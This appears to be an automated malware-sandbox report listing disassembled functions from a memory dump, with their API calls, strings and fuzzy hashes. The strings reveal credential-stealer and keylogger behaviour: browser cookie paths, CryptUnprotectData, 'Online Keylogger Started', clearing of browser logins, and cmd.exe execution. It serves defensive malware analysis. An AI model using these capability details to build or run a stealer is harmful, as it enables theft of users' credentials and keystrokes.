                        Function 0040C5EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 0040C4C3: PathFileExistsW.SHLWAPI(00000000), ref: 0040C4F6
                        • PathFileExistsW.SHLWAPI(00000000), ref: 0040C61D
                        • PathFileExistsW.SHLWAPI(00000000), ref: 0040C688
                        Strings
                        • User Data\Profile ?\Network\Cookies, xrefs: 0040C635
                        • User Data\Default\Network\Cookies, xrefs: 0040C603
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ExistsFilePath
                        • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                        • API String ID: 1174141254-1980882731
                        • Opcode ID: f3bc938036da248068b0be9c9c2ef6302554ca2f51a2acae7b142117e121394f
                        • Instruction ID: e6b9b9a8142aca5ff9e4641a3ff80a721fb4b0471daa7637ae592fad8ebd6223
                        • Opcode Fuzzy Hash: f3bc938036da248068b0be9c9c2ef6302554ca2f51a2acae7b142117e121394f
                        • Instruction Fuzzy Hash: B421037190011996CB14F7A2DC96CEEB738EE50319F40053FB502B31D2EF789A46C698
                        Function 0040C6BB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 0040C526: PathFileExistsW.SHLWAPI(00000000), ref: 0040C559
                        • PathFileExistsW.SHLWAPI(00000000), ref: 0040C6EC
                        • PathFileExistsW.SHLWAPI(00000000), ref: 0040C757
                        Strings
                        • User Data\Profile ?\Network\Cookies, xrefs: 0040C704
                        • User Data\Default\Network\Cookies, xrefs: 0040C6D2
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ExistsFilePath
                        • String ID: User Data\Default\Network\Cookies$User Data\Profile ?\Network\Cookies
                        • API String ID: 1174141254-1980882731
                        • Opcode ID: cddf59ed0f0a35ae698fc10c37901bb26126bcec9028eb75e0275fc853fc9b73
                        • Instruction ID: 83f6a23093d6b0727a30a1d550f3d6f5bdb2bb72864fa742cd8a9fd6423befd9
                        • Opcode Fuzzy Hash: cddf59ed0f0a35ae698fc10c37901bb26126bcec9028eb75e0275fc853fc9b73
                        • Instruction Fuzzy Hash: AE21D37190011AD6CB05F7A2DC96CEEB778EE50719B50013FF502B31D2EF789A46C698
                        Function 0040B164 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 68timeCOMMON
                        Download Yara Rule
                        APIs
                        • GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B172
                        • wsprintfW.USER32 ref: 0040B1F3
                          • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,?,0040B82F,?,?,?,?,?,00000000), ref: 0040A662
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: EventLocalTimewsprintf
                        • String ID: [%04i/%02i/%02i %02i:%02i:%02i $]
                        • API String ID: 1497725170-1359877963
                        • Opcode ID: d3067f7dc3e5f538a631bdb1baca68ba82ac4dff48b355963c3d2e2bd7d7ef1d
                        • Instruction ID: 81b60f5d3581edaaac31e3e44e1e4f5c322996b2d8bf5e7d6f89c643b346fb92
                        • Opcode Fuzzy Hash: d3067f7dc3e5f538a631bdb1baca68ba82ac4dff48b355963c3d2e2bd7d7ef1d
                        • Instruction Fuzzy Hash: 82117F72504118AACB18AB96EC558FE77BCEE48315B00012FF506A60E1FF7C9E46C6AC
                        Function 0040AEEE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 65threadCOMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,?,00000000), ref: 0040B172
                          • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                          • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                        • CreateThread.KERNEL32(00000000,00000000,Function_0000A267,?,00000000,00000000), ref: 0040AF6E
                        • CreateThread.KERNEL32(00000000,00000000,Function_0000A289,?,00000000,00000000), ref: 0040AF7A
                        • CreateThread.KERNEL32(00000000,00000000,0040A295,?,00000000,00000000), ref: 0040AF86
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CreateThread$LocalTime$wsprintf
                        • String ID: Online Keylogger Started
                        • API String ID: 112202259-1258561607
                        • Opcode ID: 958200284c2bea51d202cfda8ca6d09af1b0fae5d8a7627b3d8146febcef491d
                        • Instruction ID: a86b307176fed80e65d2d8085b20e14cf0e56bf63d45b36b749a5edd9f3e52e0
                        • Opcode Fuzzy Hash: 958200284c2bea51d202cfda8ca6d09af1b0fae5d8a7627b3d8146febcef491d
                        • Instruction Fuzzy Hash: 1401C8A070031939E62076365C87D7F7A5DCA81398F40057FF645362C6D97D1C5586FB
                        Function 00406A63 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53libraryloaderCOMMON
                        Download Yara Rule
                        APIs
                        • LoadLibraryA.KERNEL32(crypt32), ref: 00406A82
                        • GetProcAddress.KERNEL32(00000000), ref: 00406A89
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: AddressLibraryLoadProc
                        • String ID: CryptUnprotectData$crypt32
                        • API String ID: 2574300362-2380590389
                        • Opcode ID: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                        • Instruction ID: d796ed41fc96dc9ef8d801536240fab0e9422483ab40f89d2a564a4d0f07de08
                        • Opcode Fuzzy Hash: 58a6a211d8528d7034b6d4e537693813dfb36b0b7d2b88ce6c125ece2ab5d6dc
                        • Instruction Fuzzy Hash: 6201B535B00216ABCB18DFAD9D449ABBBB8EB49300F14817EE95AE3341D674D9008BA4
                        Function 0040515C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 46synchronizationCOMMON
                        Download Yara Rule
                        APIs
                        • WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,00405159), ref: 00405173
                        • CloseHandle.KERNEL32(?), ref: 004051CA
                        • SetEvent.KERNEL32(?), ref: 004051D9
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseEventHandleObjectSingleWait
                        • String ID: Connection Timeout
                        • API String ID: 2055531096-499159329
                        • Opcode ID: 0fd579d592e0ec80786bd468370273e6dda72da4d01b044bfcfe4f18e9b09a20
                        • Instruction ID: e4880b57ed2806ada623013920947221b56867654f576af2420d72dde76e11cf
                        • Opcode Fuzzy Hash: 0fd579d592e0ec80786bd468370273e6dda72da4d01b044bfcfe4f18e9b09a20
                        • Instruction Fuzzy Hash: 1201D831A40F40AFE7257B368D9552BBBE0FF01302704097FE68396AE2D6789800CF59
                        Function 0040E7C5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 45COMMON
                        Download Yara Rule
                        APIs
                        • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E833
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Exception@8Throw
                        • String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
                        • API String ID: 2005118841-1866435925
                        • Opcode ID: 14b47bc0c01e13b5246ea87e39f47a408aa5ce0847750dcdb3cc0488a1de7433
                        • Instruction ID: aca7d9cae529c24a85643cb8f0975e7fdd15ab88b82278639a3f13e82648cb6f
                        • Opcode Fuzzy Hash: 14b47bc0c01e13b5246ea87e39f47a408aa5ce0847750dcdb3cc0488a1de7433
                        • Instruction Fuzzy Hash: 2C01B1315443086AE618F693C843FAA73585B10708F108C2FAA15761C2F67D6961C66B
                        Function 00413814 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39registryCOMMON
                        Download Yara Rule
                        APIs
                        • RegCreateKeyW.ADVAPI32(80000001,00000000,004752D8), ref: 0041381F
                        • RegSetValueExW.ADVAPI32 ref: 0041384D
                        • RegCloseKey.ADVAPI32(004752D8), ref: 00413858
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseCreateValue
                        • String ID: pth_unenc
                        • API String ID: 1818849710-4028850238
                        • Opcode ID: 0de8c57798d2a052ed48f9ba6d58c7c81afdedd1aa2e5c5a2a8de63742f16a74
                        • Instruction ID: 91b44a8789fefabe47d0aed0b401f4e945a8dec35bb1902c17c37083bf943f80
                        • Opcode Fuzzy Hash: 0de8c57798d2a052ed48f9ba6d58c7c81afdedd1aa2e5c5a2a8de63742f16a74
                        • Instruction Fuzzy Hash: 83F0C271440218FBDF10AFA1EC45FEE376CEF00B56F10452AF905A61A1E7359F04DA94
                        Function 0040DFA6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMON
                        Download Yara Rule
                        APIs
                        • std::_Lockit::_Lockit.LIBCPMT ref: 0040DFB1
                        • std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 0040DFF0
                          • Part of subcall function 00435640: _Yarn.LIBCPMT ref: 0043565F
                          • Part of subcall function 00435640: _Yarn.LIBCPMT ref: 00435683
                        • __CxxThrowException@8.LIBVCRUNTIME ref: 0040E016
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Yarnstd::_$Exception@8Locinfo::_Locinfo_ctorLockitLockit::_Throw
                        • String ID: bad locale name
                        • API String ID: 3628047217-1405518554
                        • Opcode ID: 86f49e18a429e1939de4d1535c8c5fe7fe9a78163a93b43351c768af92284890
                        • Instruction ID: c9d4814c50014869750c7e26a4e1a69426a580a77e14145940ab7c7d7e24a8db
                        • Opcode Fuzzy Hash: 86f49e18a429e1939de4d1535c8c5fe7fe9a78163a93b43351c768af92284890
                        • Instruction Fuzzy Hash: EAF081314006049AC634FA62D863B9AB7B89F14718F504A7FB906228D1EF7CBA1CCA4C
                        Function 00416C2D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON
                        Download Yara Rule
                        APIs
                        • CreateThread.KERNEL32(00000000,00000000,Function_0001D45D,00000000,00000000,00000000), ref: 00416C47
                        • ShowWindow.USER32(00000009), ref: 00416C61
                        • SetForegroundWindow.USER32 ref: 00416C6D
                          • Part of subcall function 0041CD9B: AllocConsole.KERNEL32 ref: 0041CDA4
                          • Part of subcall function 0041CD9B: ShowWindow.USER32(00000000,00000000), ref: 0041CDBD
                          • Part of subcall function 0041CD9B: SetConsoleOutputCP.KERNEL32(000004E4), ref: 0041CDE2
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Window$ConsoleShow$AllocCreateForegroundOutputThread
                        • String ID: !D@
                        • API String ID: 3446828153-604454484
                        • Opcode ID: b7364eaafb7a437eec89ed9fb4143899ef50b32a2d873a0c8232afd7958e43d5
                        • Instruction ID: c1d0571eb829819ca76672189d51ce116019f2d3a91c4b5ec781e9fa27a10d2f
                        • Opcode Fuzzy Hash: b7364eaafb7a437eec89ed9fb4143899ef50b32a2d873a0c8232afd7958e43d5
                        • Instruction Fuzzy Hash: 9EF05E70158201EAD720AB62EC45AFA7B69EB54351F00483BF849D14F2DB398C85C69D
                        Function 004160EE Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 27COMMON
                        Download Yara Rule
                        APIs
                        • ShellExecuteW.SHELL32(00000000,open,cmd.exe,00000000,00000000,00000000), ref: 00416130
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: ExecuteShell
                        • String ID: /C $cmd.exe$open
                        • API String ID: 587946157-3896048727
                        • Opcode ID: 64774f0173dd2414335a6a01ca4130183aa4f4d30cf83fc1238f67c292a9c67a
                        • Instruction ID: 0a18f3537a1213b4b5dca9b82f73c842755a7e35c30cee8a650de64661b344da
                        • Opcode Fuzzy Hash: 64774f0173dd2414335a6a01ca4130183aa4f4d30cf83fc1238f67c292a9c67a
                        • Instruction Fuzzy Hash: 0DE0C0B0208345AAC705E775CC95CBF73ADAA94749B50483F7142A20E2EF7C9D49C659
                        Function 0040B8AC Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20threadCOMMON
                        Download Yara Rule
                        APIs
                        • TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                        • UnhookWindowsHookEx.USER32 ref: 0040B8C7
                        • TerminateThread.KERNEL32(Function_0000A267,00000000,?,pth_unenc), ref: 0040B8D5
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: TerminateThread$HookUnhookWindows
                        • String ID: pth_unenc
                        • API String ID: 3123878439-4028850238
                        • Opcode ID: 507b53b63eb7c6f10faa5869e7b72cd95082fe0a88c6c54c261be3869f185826
                        • Instruction ID: 1c21f009177841ea8acfe7f5b61a435624369701cc7e40c150536a334dec3301
                        • Opcode Fuzzy Hash: 507b53b63eb7c6f10faa5869e7b72cd95082fe0a88c6c54c261be3869f185826
                        • Instruction Fuzzy Hash: 4AE01272205356EFD7241FA09C988267BEEDA0478A324487EF2C3626B1CA794C10CB5D
                        Function 0040140A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                        Download Yara Rule
                        APIs
                        • GetModuleHandleA.KERNEL32(User32.dll,GetCursorInfo), ref: 00401414
                        • GetProcAddress.KERNEL32(00000000), ref: 0040141B
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: AddressHandleModuleProc
                        • String ID: GetCursorInfo$User32.dll
                        • API String ID: 1646373207-2714051624
                        • Opcode ID: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                        • Instruction ID: 65f79b4a2c2aed896b4012a4b0ac893fb7d0ccba54e760513c8834f3bef68171
                        • Opcode Fuzzy Hash: 0feee19109755bbb7e48939f97e78712d63acfb534ae43d0cb60b2001d0c131e
                        • Instruction Fuzzy Hash: B4B09B70541740E7CB106BF45C4F9153555B514703B105476B44996151D7B44400C61E
                        Function 004014AF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 7libraryloaderCOMMON
                        Download Yara Rule
                        APIs
                        • LoadLibraryA.KERNEL32(User32.dll), ref: 004014B9
                        • GetProcAddress.KERNEL32(00000000), ref: 004014C0
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: AddressLibraryLoadProc
                        • String ID: GetLastInputInfo$User32.dll
                        • API String ID: 2574300362-1519888992
                        • Opcode ID: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                        • Instruction ID: ea73ef4d1088e939c140d9431744cb36a9dcab52d5ea7f3e4bb33043e5d41cbe
                        • Opcode Fuzzy Hash: 6185ad33e38da01c5cedd7fab51ef37947c258832bc82ab0b36b916a7b459740
                        • Instruction Fuzzy Hash: 5EB092B45C1700FBCB106FA4AC4E9293AA9A614703B1088ABB845D2162EBB884008F9F
                        Function 0044A004 Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: __alldvrm$_strrchr
                        • String ID:
                        • API String ID: 1036877536-0
                        • Opcode ID: 4f8832beee02cc7ac8349e43431f1a5ed1ce449240751d3aeed044ff3a2741d2
                        • Instruction ID: 0200e234d7a66e392568480c50467de0d06b46efb2a76a7ba0b74d69ca9a70f2
                        • Opcode Fuzzy Hash: 4f8832beee02cc7ac8349e43431f1a5ed1ce449240751d3aeed044ff3a2741d2
                        • Instruction Fuzzy Hash: 57A166319843869FFB21CF58C8817AEBBA1FF25304F1441AFE9859B382C27D8951C75A
                        Function 00442801 Relevance: 6.1, APIs: 4, Instructions: 133COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                        • Instruction ID: 497cf8d2f4a88fd96e7f98feeb1d24cd381d204b534fd1f3fd6e485e43360072
                        • Opcode Fuzzy Hash: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                        • Instruction Fuzzy Hash: EA413871A00704BFF324AF79CD41B5EBBA9EB88710F10862FF105DB681E7B999418788
                        Function 0040C00C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 103sleepCOMMON
                        Download Yara Rule
                        APIs
                        Strings
                        • Cleared browsers logins and cookies., xrefs: 0040C0F5
                        • [Cleared browsers logins and cookies.], xrefs: 0040C0E4
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Sleep
                        • String ID: [Cleared browsers logins and cookies.]$Cleared browsers logins and cookies.
                        • API String ID: 3472027048-1236744412
                        • Opcode ID: f04c9fcfc5d51e830be94f028420677c48269f78a09cd2570410497d2b162b15
                        • Instruction ID: fac43f66edf0589ccdcbb227709f1a337e776f7542e83b73a027453bfa593f46
                        • Opcode Fuzzy Hash: f04c9fcfc5d51e830be94f028420677c48269f78a09cd2570410497d2b162b15
                        • Instruction Fuzzy Hash: 2531C804348380E9D6116BF554567AB7B814E93744F08457FB9C42B3D3D97E4848C7AF
                        Function 0040A529 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 71sleepCOMMON
                        Download Yara Rule
                        APIs
                          • Part of subcall function 0041C551: GetForegroundWindow.USER32 ref: 0041C561
                          • Part of subcall function 0041C551: GetWindowTextLengthW.USER32 ref: 0041C56A
                          • Part of subcall function 0041C551: GetWindowTextW.USER32 ref: 0041C594
                        • Sleep.KERNEL32(000001F4), ref: 0040A573
                        • Sleep.KERNEL32(00000064), ref: 0040A5FD
                        Strings
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: Window$SleepText$ForegroundLength
                        • String ID: [ $ ]
                        • API String ID: 3309952895-93608704
                        • Opcode ID: 31279ddc9ac779b407beafc78fb4a7c612abc736342ec11431a77cc1334fcb89
                        • Instruction ID: 97bd403738d1ca0cb59e80c1fc79ee6201ed0cb329172f4776a94889a39aca56
                        • Opcode Fuzzy Hash: 31279ddc9ac779b407beafc78fb4a7c612abc736342ec11431a77cc1334fcb89
                        • Instruction Fuzzy Hash: FE119F315043006BC614BB65CC5399F77A8AF50308F40053FF552665E2FF79AA5886DB
                        Function 00443A33 Relevance: 6.1, APIs: 4, Instructions: 63COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
                        • Instruction ID: 17f232e73e96fb976a24982deb7d35e81c220cd9520ca4ef7e8dcf180de91df6
                        • Opcode Fuzzy Hash: 26aae147e3b4032e8d822610677c8b44980169b964e3a1f9465f38b9cd56633c
                        • Instruction Fuzzy Hash: 1301F2B36497067EFA202E786CC1F67220CDF41BBEB34032BB574712D1DA68CE404568
                        Function 00443AB2 Relevance: 6.1, APIs: 4, Instructions: 59COMMON
                        Download Yara Rule
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID:
                        • String ID:
                        • API String ID:
                        • Opcode ID: 544fafb264448ea5c1072d449201ab24ccf485d51590c339dd7f80fdded84d3d
                        • Instruction ID: 34d970f17befced98e3ca294e9c9a609e5e7bfbb0444a55afbb34e25ce639c56
                        • Opcode Fuzzy Hash: 544fafb264448ea5c1072d449201ab24ccf485d51590c339dd7f80fdded84d3d
                        • Instruction Fuzzy Hash: 0601A2B26096117EFA111E796CC4E27624CDB81BBF325032BF535612D6DA688E014169
                        Function 0041C485 Relevance: 6.0, APIs: 4, Instructions: 50fileCOMMON
                        Download Yara Rule
                        APIs
                        • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0041C49E
                        • GetFileSize.KERNEL32(00000000,00000000), ref: 0041C4B2
                        • ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0041C4D7
                        • CloseHandle.KERNEL32(00000000), ref: 0041C4E5
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: File$CloseCreateHandleReadSize
                        • String ID:
                        • API String ID: 3919263394-0
                        • Opcode ID: 3271d486463dfc93c477f1e2c7ad2cd28a4a76e92964f49fc02a4406d9477efd
                        • Instruction ID: d938e931a51b81dfe9e25773ede9364464a286a3a3b97e7b856b7b87d8bf29b3
                        • Opcode Fuzzy Hash: 3271d486463dfc93c477f1e2c7ad2cd28a4a76e92964f49fc02a4406d9477efd
                        • Instruction Fuzzy Hash: 0FF0C2B1245308BFE6101B25ACD4EBB375CEB867A9F00053EF902A22C1CA298C05913A
                        Function 0041C1DD Relevance: 6.0, APIs: 4, Instructions: 48COMMON
                        Download Yara Rule
                        APIs
                        • OpenProcess.KERNEL32(00001000,00000000,?,00000000,00000000,00000000), ref: 0041C1F5
                        • OpenProcess.KERNEL32(00000400,00000000,?,?,00000000,00000000,00000000), ref: 0041C208
                        • CloseHandle.KERNEL32(00000000), ref: 0041C233
                        • CloseHandle.KERNEL32(00000000), ref: 0041C23B
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CloseHandleOpenProcess
                        • String ID:
                        • API String ID: 39102293-0
                        • Opcode ID: 449f4402ebb840a84195bd3231048093a1951801f3bdb5f0a33f363ac88d28a1
                        • Instruction ID: 502f13a9e38f74389cb09c542eced9ec4ef47df168bad581006c654e14f0d55b
                        • Opcode Fuzzy Hash: 449f4402ebb840a84195bd3231048093a1951801f3bdb5f0a33f363ac88d28a1
                        • Instruction Fuzzy Hash: 53012BB1680315ABD61057D49C89FB7B27CDB84796F0000A7FA04D21D2EF748C818679
                        Function 00439863 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE
                        Download Yara Rule
                        APIs
                        • ___BuildCatchObject.LIBVCRUNTIME ref: 0043987A
                          • Part of subcall function 00439EB2: ___AdjustPointer.LIBCMT ref: 00439EFC
                        • _UnwindNestedFrames.LIBCMT ref: 00439891
                        • ___FrameUnwindToState.LIBVCRUNTIME ref: 004398A3
                        • CallCatchBlock.LIBVCRUNTIME ref: 004398C7
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
                        • String ID:
                        • API String ID: 2633735394-0
                        • Opcode ID: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                        • Instruction ID: dcee73c62e3621a690853eebe59cad03ae51e1002f288686f44977c5109bb855
                        • Opcode Fuzzy Hash: f1135f3da04ba3a0995d0d42191a6de0eafd24a9b56dad318990318c05e81e44
                        • Instruction Fuzzy Hash: 18011732000109BBCF12AF55CC01EDA3BBAEF9D754F04511AFD5861221C3BAE861DBA5
                        Function 004193E3 Relevance: 6.0, APIs: 4, Instructions: 43COMMON
                        Download Yara Rule
                        APIs
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
                        • API ID: MetricsSystem
                        • String ID:
                        • API String ID: 4116985748-0
                        • Opcode ID: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                        • Instruction ID: 9a44d86f369c7068fc2c949f9b02ed5542bf43da40f6b7222f807aea32733f55
                        • Opcode Fuzzy Hash: 8421f7446e2b2501a8c7f7ac55c2b56c52e48a318564101d3507d6038f1717f6
                        • Instruction Fuzzy Hash: DFF0A471B043155BD744EA759C51A6F6BD5EBD4264F10043FF20887281EE78DC468785
                        Function 00438F31 Relevance: 6.0, APIs: 4, Instructions: 14COMMON
                        Download Yara Rule
                        APIs
                        • ___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00438F31
                        • ___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00438F36
                        • ___vcrt_initialize_locks.LIBVCRUNTIME ref: 00438F3B
                          • Part of subcall function 0043A43A: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 0043A44B
                        • ___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 00438F50
                        Memory Dump Source
                        • Source File: 0000000C.00000002.1049102254.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                        Joe Sandbox IDA Plugin
                        • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                        Yara matches
                        Similarity
